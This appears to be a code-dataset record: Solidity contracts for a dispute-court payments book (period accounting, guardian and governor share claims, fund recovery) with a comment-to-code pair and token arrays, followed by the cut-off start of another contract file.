id, address addr); /** * @dev Ensure the msg.sender is the controller's config governor */ modifier onlyConfigGovernor { require(msg.sender == _configGovernor(), ERROR_SENDER_NOT_CONFIG_GOVERNOR); _; } /** * @dev Ensure the msg.sender is the controller */ modifier onlyController() { require(msg.sender == address(controller), ERROR_SENDER_NOT_CONTROLLER); _; } /** * @dev Ensure the msg.sender is an active DisputeManager module */ modifier onlyActiveDisputeManager() { require(controller.isActive(MODULE_ID_DISPUTE_MANAGER, msg.sender), ERROR_SENDER_NOT_ACTIVE_DISPUTE_MANAGER); _; } /** * @dev Ensure the msg.sender is the current DisputeManager module */ modifier onlyCurrentDisputeManager() { (address addr, bool disabled) = controller.getDisputeManager(); require(msg.sender == addr, ERROR_SENDER_NOT_CURRENT_DISPUTE_MANAGER); require(!disabled, ERROR_SENDER_NOT_ACTIVE_DISPUTE_MANAGER); _; } /** * @dev Ensure the msg.sender is an active Voting module */ modifier onlyActiveVoting() { require(controller.isActive(MODULE_ID_VOTING, msg.sender), ERROR_SENDER_NOT_ACTIVE_VOTING); _; } /** * @dev This modifier will check that the sender is the user to act on behalf of or someone with the required permission * @param _user Address of the user to act on behalf of */ modifier authenticateSender(address _user) { _authenticateSender(_user); _; } /** * @dev Constructor function * @param _controller Address of the controller */ constructor(Controller _controller) public { require(isContract(address(_controller)), ERROR_CONTROLLER_NOT_CONTRACT); controller = _controller; } /** * @notice Update the implementation links of a list of modules * @dev The controller is expected to ensure the given addresses are correct modules * @param _ids List of IDs of the modules to be updated * @param _addresses List of module addresses to be updated */ function linkModules(bytes32[] calldata _ids, address[] calldata _addresses) external onlyController { require(_ids.length == _addresses.length, ERROR_INVALID_MODULES_LINK_INPUT); for (uint256 i = 0; i < _ids.length; i++) { linkedModules[_ids[i]] = _addresses[i]; emit ModuleLinked(_ids[i], _addresses[i]); } } /** * @dev Internal function to ensure the Court term is up-to-date, it will try to update it if not * @return Identification number of the current Court term */ function _ensureCurrentTerm() internal returns (uint64) { return _clock().ensureCurrentTerm(); } /** * @dev Internal function to fetch the last ensured term ID of the Court * @return Identification number of the last ensured term */ function _getLastEnsuredTermId() internal view returns (uint64) { return _clock().getLastEnsuredTermId(); } /** * @dev Internal function to tell the current term identification number * @return Identification number of the current term */ function _getCurrentTermId() internal view returns (uint64) { return _clock().getCurrentTermId(); } /** * @dev Internal function to fetch the controller's config governor * @return Address of the controller's config governor */ function _configGovernor() internal view returns (address) { return controller.getConfigGovernor(); } /** * @dev Internal function to fetch the address of the DisputeManager module * @return Address of the DisputeManager module */ function _disputeManager() internal view returns (IDisputeManager) { return IDisputeManager(_getLinkedModule(MODULE_ID_DISPUTE_MANAGER)); } /** * @dev Internal function to fetch the address of the GuardianRegistry module implementation * @return Address of the GuardianRegistry module implementation */ function _guardiansRegistry() internal view returns (IGuardiansRegistry) { return IGuardiansRegistry(_getLinkedModule(MODULE_ID_GUARDIANS_REGISTRY)); } /** * @dev Internal function to fetch the address of the Voting module implementation * @return Address of the Voting module implementation */ function _voting() internal view returns (ICRVoting) { return ICRVoting(_getLinkedModule(MODULE_ID_VOTING)); } /** * @dev Internal function to fetch the address of the PaymentsBook module implementation * @return Address of the PaymentsBook module implementation */ function _paymentsBook() internal view returns (IPaymentsBook) { return IPaymentsBook(_getLinkedModule(MODULE_ID_PAYMENTS_BOOK)); } /** * @dev Internal function to fetch the address of the Treasury module implementation * @return Address of the Treasury module implementation */ function _treasury() internal view returns (ITreasury) { return ITreasury(_getLinkedModule(MODULE_ID_TREASURY)); } /** * @dev Internal function to tell the address linked for a module based on a given ID * @param _id ID of the module being queried * @return Linked address of the requested module */ function _getLinkedModule(bytes32 _id) internal view returns (address) { address module = linkedModules[_id]; require(module != address(0), ERROR_MODULE_NOT_SET); return module; } /** * @dev Internal function to fetch the address of the Clock module from the controller * @return Address of the Clock module */ function _clock() internal view returns (IClock) { return IClock(controller); } /** * @dev Internal function to fetch the address of the Config module from the controller * @return Address of the Config module */ function _courtConfig() internal view returns (IConfig) { return IConfig(controller); } /** * @dev Ensure that the sender is the user to act on behalf of or someone with the required permission * @param _user Address of the user to act on behalf of */ function _authenticateSender(address _user) internal view { require(_isSenderAllowed(_user), ERROR_SENDER_NOT_ALLOWED); } /** * @dev Tell whether the sender is the user to act on behalf of or someone with the required permission * @param _user Address of the user to act on behalf of * @return True if the sender is the user to act on behalf of or someone with the required permission, false otherwise */ function _isSenderAllowed(address _user) internal view returns (bool) { return msg.sender == _user || _hasRole(msg.sender); } /** * @dev Tell whether an address holds the required permission to access the requested functionality * @param _addr Address being checked * @return True if the given address has the required permission to access the requested functionality, false otherwise */ function _hasRole(address _addr) internal view returns (bool) { bytes32 roleId = keccak256(abi.encodePacked(address(this), msg.sig)); return controller.hasRole(_addr, roleId); } } contract ControlledRecoverable is Controlled { using SafeERC20 for IERC20; string private constant ERROR_SENDER_NOT_FUNDS_GOVERNOR = "CTD_SENDER_NOT_FUNDS_GOVERNOR"; string private constant ERROR_INSUFFICIENT_RECOVER_FUNDS = "CTD_INSUFFICIENT_RECOVER_FUNDS"; string private constant ERROR_RECOVER_TOKEN_FUNDS_FAILED = "CTD_RECOVER_TOKEN_FUNDS_FAILED"; event RecoverFunds(address token, address recipient, uint256 balance); /** * @dev Ensure the msg.sender is the controller's funds governor */ modifier onlyFundsGovernor { require(msg.sender == controller.getFundsGovernor(), ERROR_SENDER_NOT_FUNDS_GOVERNOR); _; } /** * @notice Transfer all `_token` tokens to `_to` * @param _token Address of the token to be recovered * @param _to Address of the recipient that will be receive all the funds of the requested token */ function recoverFunds(address _token, address payable _to) external payable onlyFundsGovernor { uint256 balance; if (_token == address(0)) { balance = address(this).balance; require(_to.send(balance), ERROR_RECOVER_TOKEN_FUNDS_FAILED); } else { balance = IERC20(_token).balanceOf(address(this)); require(balance > 0, ERROR_INSUFFICIENT_RECOVER_FUNDS); // No need to verify _token to be a contract as we have already checked the balance require(IERC20(_token).safeTransfer(_to, balance), ERROR_RECOVER_TOKEN_FUNDS_FAILED); } emit RecoverFunds(_token, _to, balance); } } contract PaymentsBook is IPaymentsBook, ControlledRecoverable, TimeHelpers { using SafeERC20 for IERC20; using SafeMath for uint256; using SafeMath64 for uint64; using PctHelpers for uint256; string private constant ERROR_COURT_HAS_NOT_STARTED = "PB_COURT_HAS_NOT_STARTED"; string private constant ERROR_NON_PAST_PERIOD = "PB_NON_PAST_PERIOD"; string private constant ERROR_PERIOD_DURATION_ZERO = "PB_PERIOD_DURATION_ZERO"; string private constant ERROR_PERIOD_BALANCE_DETAILS_NOT_COMPUTED = "PB_PER_BAL_DETAILS_NOT_COMPUTED"; string private constant ERROR_PAYMENT_AMOUNT_ZERO = "PB_PAYMENT_AMOUNT_ZERO"; string private constant ERROR_ETH_DEPOSIT_TOKEN_MISMATCH = "PB_ETH_DEPOSIT_TOKEN_MISMATCH"; string private constant ERROR_ETH_DEPOSIT_AMOUNT_MISMATCH = "PB_ETH_DEPOSIT_AMOUNT_MISMATCH"; string private constant ERROR_ETH_TRANSFER_FAILED = "PB_ETH_TRANSFER_FAILED"; string private constant ERROR_TOKEN_NOT_CONTRACT = "PB_TOKEN_NOT_CONTRACT"; string private constant ERROR_TOKEN_DEPOSIT_FAILED = "PB_TOKEN_DEPOSIT_FAILED"; string private constant ERROR_TOKEN_TRANSFER_FAILED = "PB_TOKEN_TRANSFER_FAILED"; string private constant ERROR_GUARDIAN_SHARE_ALREADY_CLAIMED = "PB_GUARDIAN_SHARE_ALREADY_CLAIMED"; string private constant ERROR_GOVERNOR_SHARE_ALREADY_CLAIMED = "PB_GOVERNOR_SHARE_ALREADY_CLAIMED"; string private constant ERROR_OVERRATED_GOVERNOR_SHARE_PCT = "PB_OVERRATED_GOVERNOR_SHARE_PCT"; // Term 0 is for guardians on-boarding uint64 internal constant START_TERM_ID = 1; struct Period { // Court term ID of a period used to fetch the total active balance of the guardians registry uint64 balanceCheckpoint; // Total amount of guardian tokens active in the Court at the corresponding period checkpoint uint256 totalActiveBalance; // List of collected amounts for the governor indexed by token address mapping (address => uint256) governorShares; // List of tokens claimed by the governor during a period, indexed by token addresses mapping (address => bool) claimedGovernor; // List of collected amounts for the guardians indexed by token address mapping (address => uint256) guardiansShares; // List of guardians that have claimed their share during a period, indexed by guardian and token addresses mapping (address => mapping (address => bool)) claimedGuardians; } // Duration of a payment period in Court terms uint64 public periodDuration; // Permyriad of collected payments that will be allocated to the governor of the Court (‱ - 1/10,000) uint16 public governorSharePct; // List of periods indexed by ID mapping (uint256 => Period) internal periods; event PaymentReceived(uint256 indexed periodId, address indexed payer, address indexed token, uint256 amount, bytes data); event GuardianShareClaimed(uint256 indexed periodId, address indexed guardian, address indexed token, uint256 amount); event GovernorShareClaimed(uint256 indexed periodId, address indexed token, uint256 amount); event GovernorSharePctChanged(uint16 previousGovernorSharePct, uint16 currentGovernorSharePct); /** * @dev Initialize court payments book * @param _controller Address of the controller * @param _periodDuration Duration of a payment period in Court terms * @param _governorSharePct Initial permyriad of collected payments that will be allocated to the governor of the Court (‱ - 1/10,000) */ constructor(Controller _controller, uint64 _periodDuration, uint16 _governorSharePct) Controlled(_controller) public { require(_periodDuration > 0, ERROR_PERIOD_DURATION_ZERO); periodDuration = _periodDuration; _setGovernorSharePct(_governorSharePct); } /** * @notice Pay `@tokenAmount(_token, _amount)` for `_payer` (`_data`) * @param _token Address of the token being paid * @param _amount Amount of tokens being paid * @param _payer Address paying on behalf of * @param _data Optional data */ function pay(address _token, uint256 _amount, address _payer, bytes calldata _data) external payable { (uint256 periodId, Period storage period) = _getCurrentPeriod(); require(_amount > 0, ERROR_PAYMENT_AMOUNT_ZERO); // Update collected amount for the governor uint256 governorShare = _amount.pct(governorSharePct); period.governorShares[_token] = period.governorShares[_token].add(governorShare); // Update collected amount for the guardians uint256 guardiansShare = _amount.sub(governorShare); period.guardiansShares[_token] = period.guardiansShares[_token].add(guardiansShare); // Deposit funds from sender to this contract // ETH or token amount checks are handled in `_deposit()` _deposit(msg.sender, _token, _amount); emit PaymentReceived(periodId, _payer, _token, _amount, _data); } /** * @notice Claim guardian share for period #`_periodId` owed to `_guardian` * @dev It will ignore tokens that were already claimed without reverting * @param _periodId Identification number of the period being claimed * @param _guardian Address of the guardian claiming the shares for * @param _tokens List of token addresses to be claimed */ function claimGuardianShare(uint256 _periodId, address payable _guardian, address[] calldata _tokens) external authenticateSender(_guardian) { require(_periodId < _getCurrentPeriodId(), ERROR_NON_PAST_PERIOD); Period storage period = periods[_periodId]; (uint64 periodBalanceCheckpoint, uint256 totalActiveBalance) = _ensurePeriodBalanceDetails(period, _periodId); uint256 guardianActiveBalance = _getGuardianActiveBalance(_guardian, periodBalanceCheckpoint); // We assume the token contract is not malicious for (uint256 i = 0; i < _tokens.length; i++) { address token = _tokens[i]; require(!_hasGuardianClaimed(period, _guardian, token), ERROR_GUARDIAN_SHARE_ALREADY_CLAIMED); uint256 amount = _getGuardianShare(period, token, guardianActiveBalance, totalActiveBalance); _claimGuardianShare(period, _periodId, _guardian, token, amount); } } /** * @notice Transfer owed share to the governor for period #`_periodId` * @param _periodId Identification number of the period being claimed * @param _tokens List of token addresses to be claimed */ function claimGovernorShare(uint256 _periodId, address[] calldata _tokens) external { require(_periodId < _getCurrentPeriodId(), ERROR_NON_PAST_PERIOD); Period storage period = periods[_periodId]; address payable governor = address(uint160(_configGovernor())); // We assume the token contract is not malicious for (uint256 i = 0; i < _tokens.length; i++) { address token = _tokens[i]; require(!_hasGovernorClaimed(period, token), ERROR_GOVERNOR_SHARE_ALREADY_CLAIMED); _claimGovernorShare(period, _periodId, governor, token); } } /** * @notice Make sure that the balance details of a certain period have been computed * @param _periodId Identification number of the period being ensured * @return periodBalanceCheckpoint Court term ID used to fetch the total active balance of the guardians registry * @return totalActiveBalance Total amount of guardian tokens active in the Court at the corresponding used checkpoint */ function ensurePeriodBalanceDetails(uint256 _periodId) external returns (uint64 periodBalanceCheckpoint, uint256 totalActiveBalance) { require(_periodId < _getCurrentPeriodId(), ERROR_NON_PAST_PERIOD); Period storage period = periods[_periodId]; return _ensurePeriodBalanceDetails(period, _periodId); } /** * @notice Set new governor share to `_governorSharePct`‱ (1/10,000) * @param _governorSharePct New permyriad of collected payments that will be allocated to the governor of the Court (‱ - 1/10,000) */ function setGovernorSharePct(uint16 _governorSharePct) external onlyConfigGovernor { _setGovernorSharePct(_governorSharePct); } /** * @dev Tell the identification number of the current period * @return Identification number of the current period */ function getCurrentPeriodId() external view returns (uint256) { return _getCurrentPeriodId(); } /** * @dev Get the share details of a payment period * @param _periodId Identification number of the period to be queried * @param _token Address of the token querying the share details for * @return guardiansShare Guardians share for the requested period and token * @return governorShare Governor share for the requested period and token */ function getPeriodShares(uint256 _periodId, address _token) external view returns (uint256 guardiansShare, uint256 governorShare) { Period storage period = periods[_periodId]; guardiansShare = period.guardiansShares[_token]; governorShare = period.governorShares[_token]; } /** * @dev Get the balance details of a payment period * @param _periodId Identification number of the period to be queried * @return balanceCheckpoint Court term ID of a period used to fetch the total active balance of the guardians registry * @return totalActiveBalance Total amount of guardian tokens active in the Court at the corresponding period checkpoint */ function getPeriodBalanceDetails(uint256 _periodId) external view returns (uint64 balanceCheckpoint, uint256 totalActiveBalance) { Period storage period = periods[_periodId]; balanceCheckpoint = period.balanceCheckpoint; totalActiveBalance = period.totalActiveBalance; } /** * @dev Tell the share corresponding to a guardian for a certain period * @param _periodId Identification number of the period being queried * @param _guardian Address of the guardian querying the share of * @param _tokens List of token addresses to be queried * @return List of token amounts corresponding to the guardian */ function getGuardianShare(uint256 _periodId, address _guardian, address[] calldata _tokens) external view returns (uint256[] memory amounts) { require(_periodId < _getCurrentPeriodId(), ERROR_NON_PAST_PERIOD); Period storage period = periods[_periodId]; uint256 totalActiveBalance = period.totalActiveBalance; require(totalActiveBalance != 0, ERROR_PERIOD_BALANCE_DETAILS_NOT_COMPUTED); amounts = new uint256[](_tokens.length); uint256 guardianActiveBalance = _getGuardianActiveBalance(_guardian, period.balanceCheckpoint); for (uint256 i = 0; i < _tokens.length; i++) { amounts[i] = _getGuardianShare(period, _tokens[i], guardianActiveBalance, totalActiveBalance); } } /** * @dev Tell if a given guardian has already claimed the owed share for a certain period * @param _periodId Identification number of the period being queried * @param _guardian Address of the guardian being queried * @param _tokens List of token addresses to be queried * @return List of claimed status for each requested token */ function hasGuardianClaimed(uint256 _periodId, address _guardian, address[] calldata _tokens) external view returns (bool[] memory claimed) { Period storage period = periods[_periodId]; claimed = new bool[](_tokens.length); for (uint256 i = 0; i < _tokens.length; i++) { claimed[i] = _hasGuardianClaimed(period, _guardian, _tokens[i]); } } /** * @dev Tell the share corresponding to the governor for a certain period * @param _periodId Identification number of the period being queried * @param _tokens List of token addresses to be queried * @return List of token amounts corresponding to the governor */ function getGovernorShare(uint256 _periodId, address[] calldata _tokens) external view returns (uint256[] memory amounts) { Period storage period = periods[_periodId]; amounts = new uint256[](_tokens.length); for (uint256 i = 0; i < _tokens.length; i++) { amounts[i] = _getGovernorShare(period, _tokens[i]); } } /** * @dev Tell if the governor has already claimed the owed share for a certain period * @param _periodId Identification number of the period being queried * @param _tokens List of token addresses to be queried * @return List of claimed status for each requested token */ function hasGovernorClaimed(uint256 _periodId, address[] calldata _tokens) external view returns (bool[] memory claimed) { Period storage period = periods[_periodId]; claimed = new bool[](_tokens.length); for (uint256 i = 0; i < _tokens.length; i++) { claimed[i] = _hasGovernorClaimed(period, _tokens[i]); } } /** * @dev Internal function to claim guardian share for a certain period * @param _period Period being claimed * @param _periodId Identification number of the period being claimed * @param _guardian Address of the guardian claiming their share * @param _token Address of the token being claimed * @param _amount Amount of tokens to be transferred to the guardian */ function _claimGuardianShare( Period storage _period, uint256 _periodId, address payable _guardian, address _token, uint256 _amount ) internal { _period.claimedGuardians[_guardian][_token] = true; if (_amount > 0) { _transfer(_guardian, _token, _amount); emit GuardianShareClaimed(_periodId, _guardian, _token, _amount); } } /** * @dev Internal function to transfer governor share for a certain period * @param _period Period being claimed * @param _periodId Identification number of the period being claimed * @param _token Address of the token to be claimed */ function _claimGovernorShare(Period storage _period, uint256 _periodId, address payable _governor, address _token) internal { _period.claimedGovernor[_token] = true; uint256 amount = _getGovernorShare(_period, _token); if (amount > 0) { _transfer(_governor, _token, amount); emit GovernorShareClaimed(_periodId, _token, amount); } } /** * @dev Internal function to pull tokens into this contract * @param _from Owner of the deposited funds * @param _token Address of the token to deposit * @param _amount Amount to be deposited */ function _deposit(address _from, address _token, uint256 _amount) internal { if (msg.value > 0) { require(_token == address(0), ERROR_ETH_DEPOSIT_TOKEN_MISMATCH); require(msg.value == _amount, ERROR_ETH_DEPOSIT_AMOUNT_MISMATCH); } else { require(isContract(_token), ERROR_TOKEN_NOT_CONTRACT); require(IERC20(_token).safeTransferFrom(_from, address(this), _amount), ERROR_TOKEN_DEPOSIT_FAILED); } } /** * @dev Internal function to transfer tokens * @param _to Recipient of the transfer * @param _token Address of the token to transfer * @param _amount Amount to be transferred */ function _transfer(address payable _to, address _token, uint256 _amount) internal { if (_token == address(0)) { require(_to.send(_amount), ERROR_ETH_TRANSFER_FAILED); } else { require(IERC20(_token).safeTransfer(_to, _amount), ERROR_TOKEN_TRANSFER_FAILED); } } /** * @dev Internal function to make sure that the balance details of a certain period have been computed. * This function assumes given ID and period correspond to each other, and that the period is in the past. * @param _periodId Identification number of the period being ensured * @param _period Period being ensured * @return Court term ID used to fetch the total active balance of the guardians registry * @return Total amount of guardian tokens active in the Court at the corresponding used checkpoint */ function _ensurePeriodBalanceDetails(Period storage _period, uint256 _periodId) internal returns (uint64, uint256) { // Shortcut if the period balance details were already set uint256 totalActiveBalance = _period.totalActiveBalance; if (totalActiveBalance != 0) { return (_period.balanceCheckpoint, totalActiveBalance); } uint64 periodStartTermId = _getPeriodStartTermId(_periodId); uint64 nextPeriodStartTermId = _getPeriodStartTermId(_periodId.add(1)); // Pick a random Court term during the next period of the requested one to get the total amount of guardian tokens active in the Court IClock clock = _clock(); bytes32 randomness = clock.getTermRandomness(nextPeriodStartTermId); // The randomness factor for each Court term is computed using the the hash of a block number set during the initialization of the // term, to ensure it cannot be known beforehand. Note that the hash function being used only works for the 256 most recent block // numbers. Therefore, if that occurs we use the hash of the previous block number. This could be slightly beneficial for the first // guardian calling this function, but it's still impossible to predict during the requested period. if (randomness == bytes32(0)) { randomness = blockhash(getBlockNumber() - 1); } // Use randomness to choose a Court term of the requested period and query the total amount of guardian tokens active at that term IGuardiansRegistry guardiansRegistry = _guardiansRegistry(); uint64 periodBalanceCheckpoint = periodStartTermId.add(uint64(uint256(randomness) % periodDuration)); totalActiveBalance = guardiansRegistry.totalActiveBalanceAt(periodBalanceCheckpoint); _period.balanceCheckpoint = periodBalanceCheckpoint; _period.totalActiveBalance = totalActiveBalance; return (periodBalanceCheckpoint, totalActiveBalance); } /** * @dev Internal function to set a new governor share value * @param _governorSharePct New permyriad of collected payments that will be allocated to the governor of the Court (‱ - 1/10,000) */ function _setGovernorSharePct(uint16 _governorSharePct) internal { // Check governor share is not greater than 10,000‱ require(PctHelpers.isValid(_governorSharePct), ERROR_OVERRATED_GOVERNOR_SHARE_PCT); emit GovernorSharePctChanged(governorSharePct, _governorSharePct); governorSharePct = _governorSharePct; } /** * @dev Internal function to tell the identification number of the current period * @return Identification number of the current period */ function _getCurrentPeriodId() internal view returns (uint256) { // Since the Court starts at term #1, and the first payment period is #0, then subtract one unit to the current term of the Court uint64 termId = _getCurrentTermId(); require(termId > 0, ERROR_COURT_HAS_NOT_STARTED); // No need for SafeMath: we already checked that the term ID is at least 1 uint64 periodId = (termId - START_TERM_ID) / periodDuration; return uint256(periodId); } /** * @dev Internal function to get the current period * @return periodId Identification number of the current period * @return period Current period instance */ function _getCurrentPeriod() internal view returns (uint256 periodId, Period storage period) { periodId = _getCurrentPeriodId(); period = periods[periodId]; } /** * @dev Internal function to get the Court term in which a certain period starts * @param _periodId Identification number of the period querying the start term of * @return Court term where the given period starts */ function _getPeriodStartTermId(uint256 _periodId) internal view returns (uint64) { // Periods are measured in Court terms // Since Court terms are represented in uint64, we are safe to use uint64 for period ids too return START_TERM_ID.add(uint64(_periodId).mul(periodDuration)); } /** * @dev Internal function to tell the active balance of a guardian for a certain period * @param _guardian Address of the guardian querying the share of * @param _periodBalanceCheckpoint Checkpoint of the period being queried * @return Active balance for a guardian based on the period checkpoint */ function _getGuardianActiveBalance(address _guardian, uint64 _periodBalanceCheckpoint) internal view returns (uint256) { IGuardiansRegistry guardiansRegistry = _guardiansRegistry(); return guardiansRegistry.activeBalanceOfAt(_guardian, _periodBalanceCheckpoint); } /** * @dev Internal function to tell the share corresponding to a guardian for a certain period and token * @param _period Period being queried * @param _token Address of the token being queried * @param _guardianActiveBalance Active balance of a guardian at the corresponding period checkpoint * @param _totalActiveBalance Total amount of guardian tokens active in the Court at the corresponding period checkpoint * @return Share owed to the given guardian for the requested period and token */ function _getGuardianShare( Period storage _period, address _token, uint256 _guardianActiveBalance, uint256 _totalActiveBalance ) internal view returns (uint256) { if (_guardianActiveBalance == 0) { return 0; } // Note that we already checked the guardian active balance is greater than zero. // Then, the total active balance should be greater than zero. return _period.guardiansShares[_token].mul(_guardianActiveBalance) / _totalActiveBalance; } /** * @dev Tell if a guardian has already claimed the owed share for a certain period * @param _period Period being queried * @param _guardian Address of the guardian being queried * @param _token Address of the token to be queried * @return True if the guardian has already claimed their share */ function _hasGuardianClaimed(Period storage _period, address _guardian, address _token) internal view returns (bool) { return _period.claimedGuardians[_guardian][_token]; } /** * @dev Tell the share corresponding to a guardian for a certain period * @param _period Period being queried * @param _token Address of the token to be queried * @return Token amount corresponding to the governor */ function _getGovernorShare(Period storage _period, address _token) internal view returns (uint256) { return _period.governorShares[_token]; } /** * @dev Tell if the governor has already claimed the owed share for a certain period * @param _period Period being queried * @param _token Address of the token to be queried * @return True if the governor has already claimed their share */ function _hasGovernorClaimed(Period storage _period, address _token) internal view returns (bool) { return _period.claimedGovernor[_token]; } }
Pick a random Court term during the next period of the requested one to get the total amount of guardian tokens active in the Court
IClock clock = _clock();
10,904,344
[ 1, 17968, 279, 2744, 385, 477, 88, 2481, 4982, 326, 1024, 3879, 434, 326, 3764, 1245, 358, 336, 326, 2078, 3844, 434, 11026, 2779, 2430, 2695, 316, 326, 385, 477, 88, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 467, 14027, 7268, 273, 389, 18517, 5621, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.25; // File: contracts/saga/interfaces/IReserveManager.sol /** * @title Reserve Manager Interface. */ interface IReserveManager { /** * @dev Get a deposit-recommendation. * @param _balance The balance of the token-contract. * @return The address of the wallet permitted to deposit ETH into the token-contract. * @return The amount that should be deposited in order for the balance to reach `mid` ETH. */ function getDepositParams(uint256 _balance) external view returns (address, uint256); /** * @dev Get a withdraw-recommendation. * @param _balance The balance of the token-contract. * @return The address of the wallet permitted to withdraw ETH into the token-contract. * @return The amount that should be withdrawn in order for the balance to reach `mid` ETH. */ function getWithdrawParams(uint256 _balance) external view returns (address, uint256); } // File: contracts/saga/interfaces/IPaymentManager.sol /** * @title Payment Manager Interface. */ interface IPaymentManager { /** * @dev Retrieve the current number of outstanding payments. * @return The current number of outstanding payments. */ function getNumOfPayments() external view returns (uint256); /** * @dev Retrieve the sum of all outstanding payments. * @return The sum of all outstanding payments. */ function getPaymentsSum() external view returns (uint256); /** * @dev Compute differ payment. * @param _ethAmount The amount of ETH entitled by the client. * @param _ethBalance The amount of ETH retained by the payment handler. * @return The amount of differed ETH payment. */ function computeDifferPayment(uint256 _ethAmount, uint256 _ethBalance) external view returns (uint256); /** * @dev Register a differed payment. * @param _wallet The payment wallet address. * @param _ethAmount The payment amount in ETH. */ function registerDifferPayment(address _wallet, uint256 _ethAmount) external; } // File: contracts/saga/interfaces/IETHConverter.sol /** * @title ETH Converter Interface. */ interface IETHConverter { /** * @dev Get the current SDR worth of a given ETH amount. * @param _ethAmount The amount of ETH to convert. * @return The equivalent amount of SDR. */ function toSdrAmount(uint256 _ethAmount) external view returns (uint256); /** * @dev Get the current ETH worth of a given SDR amount. * @param _sdrAmount The amount of SDR to convert. * @return The equivalent amount of ETH. */ function toEthAmount(uint256 _sdrAmount) external view returns (uint256); /** * @dev Get the original SDR worth of a converted ETH amount. * @param _ethAmount The amount of ETH converted. * @return The original amount of SDR. */ function fromEthAmount(uint256 _ethAmount) external view returns (uint256); } // File: contracts/contract_address_locator/interfaces/IContractAddressLocator.sol /** * @title Contract Address Locator Interface. */ interface IContractAddressLocator { /** * @dev Get the contract address mapped to a given identifier. * @param _identifier The identifier. * @return The contract address. */ function getContractAddress(bytes32 _identifier) external view returns (address); /** * @dev Determine whether or not a contract address relates to one of the identifiers. * @param _contractAddress The contract address to look for. * @param _identifiers The identifiers. * @return A boolean indicating if the contract address relates to one of the identifiers. */ function isContractAddressRelates(address _contractAddress, bytes32[] _identifiers) external view returns (bool); } // File: contracts/contract_address_locator/ContractAddressLocatorHolder.sol /** * @title Contract Address Locator Holder. * @dev Hold a contract address locator, which maps a unique identifier to every contract address in the system. * @dev Any contract which inherits from this contract can retrieve the address of any contract in the system. * @dev Thus, any contract can remain "oblivious" to the replacement of any other contract in the system. * @dev In addition to that, any function in any contract can be restricted to a specific caller. */ contract ContractAddressLocatorHolder { bytes32 internal constant _IAuthorizationDataSource_ = "IAuthorizationDataSource"; bytes32 internal constant _ISGNConversionManager_ = "ISGNConversionManager" ; bytes32 internal constant _IModelDataSource_ = "IModelDataSource" ; bytes32 internal constant _IPaymentHandler_ = "IPaymentHandler" ; bytes32 internal constant _IPaymentManager_ = "IPaymentManager" ; bytes32 internal constant _IPaymentQueue_ = "IPaymentQueue" ; bytes32 internal constant _IReconciliationAdjuster_ = "IReconciliationAdjuster" ; bytes32 internal constant _IIntervalIterator_ = "IIntervalIterator" ; bytes32 internal constant _IMintHandler_ = "IMintHandler" ; bytes32 internal constant _IMintListener_ = "IMintListener" ; bytes32 internal constant _IMintManager_ = "IMintManager" ; bytes32 internal constant _IPriceBandCalculator_ = "IPriceBandCalculator" ; bytes32 internal constant _IModelCalculator_ = "IModelCalculator" ; bytes32 internal constant _IRedButton_ = "IRedButton" ; bytes32 internal constant _IReserveManager_ = "IReserveManager" ; bytes32 internal constant _ISagaExchanger_ = "ISagaExchanger" ; bytes32 internal constant _IMonetaryModel_ = "IMonetaryModel" ; bytes32 internal constant _IMonetaryModelState_ = "IMonetaryModelState" ; bytes32 internal constant _ISGAAuthorizationManager_ = "ISGAAuthorizationManager"; bytes32 internal constant _ISGAToken_ = "ISGAToken" ; bytes32 internal constant _ISGATokenManager_ = "ISGATokenManager" ; bytes32 internal constant 